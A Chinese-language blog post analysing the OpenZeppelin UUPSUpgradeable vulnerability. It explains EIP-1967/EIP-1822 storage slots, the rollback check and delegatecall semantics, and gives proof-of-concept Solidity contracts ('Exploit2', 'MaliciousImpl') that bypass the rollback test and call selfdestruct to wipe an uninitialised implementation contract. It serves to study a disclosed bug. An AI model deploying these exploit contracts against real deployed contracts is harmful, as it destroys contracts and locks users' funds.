在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。
参考链接:UUPSUpgradeable Vulnerability Post-mortem - General / Announcements - OpenZeppelin Community
在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。其规定了如下特定的插槽:
=> 逻辑合约地址
bytes32(uint256(keccak256("eip1967.proxy.implementation") - 1))
更新该地址时,需要同时发出:
event Upgraded(address indexed implementation);
=> beacon地址
bytes32(uint256(keccak256("eip1967.proxy.beacon") - 1))
更新该地址时,需要发出:
event BeaconUpgraded(address indexed beacon);
=> admin 地址
bytes32(uint256(keccak256("eip1967.proxy.admin") - 1))
更新该地址时,需要发出:
event AdminChanged(address indexed previousAdmin, address newAdmin);
EIP-1967在设计如上插槽的时,特意将计算得到的地址减去1,目的是为了不能知道哈希的前像,进一步减少可能的攻击机会。
EIP-1967设计特定的插槽,而不是给定一个返回逻辑合约地址的函数,其目的在于防止函数签名攻击。函数签名攻击的思路是:由于solidity中识别一个函数,靠的是函数签名,而函数签名是函数哈希后的前4个bytes,是非常容易碰撞出来的。在一个独立的solidity文件中,编译器自己会去检查所有的external和public函数是否存在函数签名碰撞,而对于代理模式的合约文件,可能存在proxy合约中的函数签名与impl合约中的函数签名碰撞。而一旦发生这种碰撞,proxy合约中的函数就会被直接调用,而不是impl合约对应的函数。
比如EIP-897中,其规定了如下两个函数:
interface ERCProxy {
function proxyType() public pure returns (uint256 proxyTypeId);
function implementation() public view returns (address codeAddr);
}
作为一个实现EIP-897的代理合约,其在代理合约中会实现这两个函数。
EIP-1822讨论的合约升级模式与Openzeppelin的透明合约升级模式的不同点在于:EIP-1822的代理合约只读取实现合约的地址,并将所有的方法都代理给实现合约,包括修改实现合约地址的逻辑部分也在实现合约里。而透明合约升级模式中,proxy合约管理着实现合约的地址,要实现合约升级,只需要在proxy合约中更改实现合约的地址即可。其他的逻辑代理给实现合约。
也就是说EIP-1822的实现合约既包含了普通的业务逻辑处理,更包含了自身的升级逻辑处理。简单来讲就是EIP-1822的实现合约部分,都需要继承自一个公共的可升级实现合约:proxiable.sol。在可升级的实现合约proxiable中,实现如下方法:
function proxiableUUID() public pure returns (bytes32) {
//作用是一个flag,用来判断是否返回特定值keccak256("PROXIABLE"),以判断该合约是否是一个实现了EIP-1822的可升级实现合约
}
function updateCodeAddress(address newAddress) ineternal {
//简单来讲就是更新实际逻辑实现合约的地址
require(this.proxiableUUID() == Proxiable(newAddress).proxiableUUID());
bytes32 proxiableUUID_ = this.proxiableUUID();
assembly{
sstore(proxiableUUID_, newAddress)
}
}
然后在实现合约中,所有的实现合约都继承自proxiable合约,然后实现自己的逻辑即可。因为代理合约只是从插槽keccak256("PROXIABLE")
处读取实现合约的地址,而实现合约可以通过proxiable中的updateCodeAddress方法来更新这个地址,从而实现代理合约中对应插槽keccak256("PROXIABLE")
位置处的地址改变为目标地址。
Openzeppelin中关于EIP-1822的实现与EIP-1822中的定义并不一致,主要是EIP-1822中定义的插槽位置与EIP-1967中定义的插槽位置不一致导致。openzeppelin选择使用EIP-1967中定义的插槽位置来具体实现。同时EIP-1822也有很明显的缺点,即新来的一个实现合约中只实现了proxiableUUID方法,没有实现updateCodeAddress方法,则合约就无法继续升级,导致所有的代理合约都锁死。
故openzepplin在具体实现时,其实现的具体思路为:提供一个UUPSUpgradeable合约,在该合约中提供合约升级方法:upgradeTo. 与EIP-1822的不同点在于,它取消了proxiableUUID这个flag,增加了_autorizeUpgrade方法,用于授权一个新地址。同时提供了一个upgradeToAndCall方法,用于升级后马上进行初始化操作。
function upgradeTo(address newImplementation) external virtual {
//第一步检查msg.sender的权限
_authorizeUpgrade(newInplementation);
//第二步执行升级步骤
_upgradeToAndCallSecure(newImplementaion,new bytes(0),false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {}
function _authorizeUpgrade(address newImplementation) internal onlyOwner() {}
其中,openzeppelin通过回滚检测,来检查是否升级成功,避免了EIP-1822中遇到的问题:
function _upgradeToAndCallSecure(address newImplementation,bytes memory data,bool forceCall) internal {
//第一步:设置newImpl地址到实现合约地址
address oldImplementation = _getImplementation();
_setImplementation(newImplementation);
//第二步:针对新的实现合约地址进行初始化
if (data.length > 0 || forceCall) {
Address.delegateCall(newImplementation, data);
}
//第三步:执行回滚检查
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
//第四步:首先假设触发回滚操作,由新地址重新回滚到旧地址上,再检查升级后的旧地址是否是之前的旧地址,如果是,则说明回滚成功。如果可以回滚成功,说明升级到该新地址是安全的。
if (!rollbackTesting.value) {
//需要执行回滚操作
//即将impl地址由新地址改回旧地址,通过调用新地址上的upgradeTo方法来进行
rollbackTesting.value = true;
Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));
rollbackTesting.value = false;
//检查回滚是否成功
require(oldImplementation == _getImplementation());
//最后设置回新地址,并打log Upgraded(address)
_upgradeTo(newImplementation);
}
}
在上述的Openzeppelin的实现中,其通过回滚检测避免了EIP-1822中遇到的问题:即升级到一个不满足EIP-1822规范的合约时,此时代理合约和实现合约就完全被锁死,无法继续升级。但是其又引入了一个新的问题,即:回滚操作中事实上模拟了一遍新的实现合约地址中的upgradeTo操作,并且是通过delegatecall方式来进行调用。
通过delegatecall调用新合约地址的upgradeTo方法有什么问题呢?
查看黄皮书中关于delegatecall的定义为:
Message-call into this account with an alternative accounts' code, but persisting the current values for sender and value
$$ $(\boldsymbol{\sigma}', g', A^+, \mathbf{o}) \equiv \begin{cases}\begin{array}{l}\Theta(\boldsymbol{\sigma}, I{\mathrm{s}}, I{\mathrm{o}}, I{\mathrm{a}}, t, C{\text{\tiny CALLGAS}}(\boldsymbol{\mu}), \\quad I{\mathrm{p}}, 0, I{\mathrm{v}}, \mathbf{i}, I{\mathrm{e}} + 1, I{\mathrm{w}})\end{array} & \text{if} \quad I_{\mathrm{e}} < 1024 \(\boldsymbol{\sigma}, g, \varnothing, ()) & \text{otherwise} \end{cases} \ $$
this means that the receipient is in fact the same account as at persent, simply that the code is overwritten and the context is almost entirely identical
从黄皮书的定义来看,delegatecall事实上保存了当前账户的余额和msg.sender, 只是调用远程合约的代码,让远程合约的代码跑在当前账户的上下文环境上。
利用openzeppelin的在线代码生成,可以生成如下的代码: Contracts Wizard - OpenZeppelin Docs
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
contract TestToken is Initializable, ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable {
/// @custom:oz-upgrades-unsafe-allow constructor
// constructor() initializer {}
//这里不应该出现constructor 的初始化,但是initializer事实上只是进行了一个判断,即该函数的调用过程是否在初始化过程中involve了,它并没有进行状态的改变。
function initialize() initializer public {
__ERC20_init("testToken", "MTK");
__Ownable_init();
__UUPSUpgradeable_init();
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
}
注意这里的TestToken是UUPS升级合约的实现合约部分,而不是代理合约部分。那么应该如何去做这个TestToken的POC呢?
这里不能直接在malicious合约中的upgradeTo方法中写selfdestruct,而是应该利用ForceCall部分的delegatecall,并通过写入rollbackTesting.value = true
来绕过回滚检查,当这一笔交易执行结束后,合约TestToken的代码被完全清空。
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
contract Exploit2 {
function hack() public {
bytes32 _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
//avoid the rollback test
rollbackTesting.value = true;
selfdestruct(payable(tx.origin));
}
function _authorizeUpgrade(address newImplementation) internal {
}
}
那么在openzeppelin的UUPS实现中,使用delegatecall来进行回滚测试有什么问题呢?
问题就是:
Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));
上述代码将newInplementation地址上的upgradeTo方法代码放到当前地址来执行,如果在upgradeTo方法中,放入selfdestruct
这一个opcode,让合约自毁,则当前合约地址就会自毁,根本不会继续执行后面的require语句:
require(oldImplementation == _getImplementation());
故简单的POC逻辑为:
pragma solidity 0.8.0;
contract MaliciousImpl{
function upgradeTo(address newImplementation) external {
selfdestruct(address(0));
}
}
上述openzeppelin实现的代码中,最为核心的一条是理解:当delegatecall到一个selfdestruct方法后,程序所有的代码都会被直接清空,不会继续往下执行,也就不会去执行后面的require判断条件。
然而在remix中执行时,发现delegatecall之后的require语句还是执行了:
这是不对的,需要进一步理解黄皮书中关于selfdestruct这个opcode的定义:
selfdestruct: Halt execution and register account for later deletion
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
当delegatecall到一个selfdestruct的方法时,其返回值为0,然后代码继续运行。如果此笔交易在后续的执行过程中成功,则上下文地址上的代码将会被清空。如果该笔交易在后续的执行过程中失败,则整体状态会回滚。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!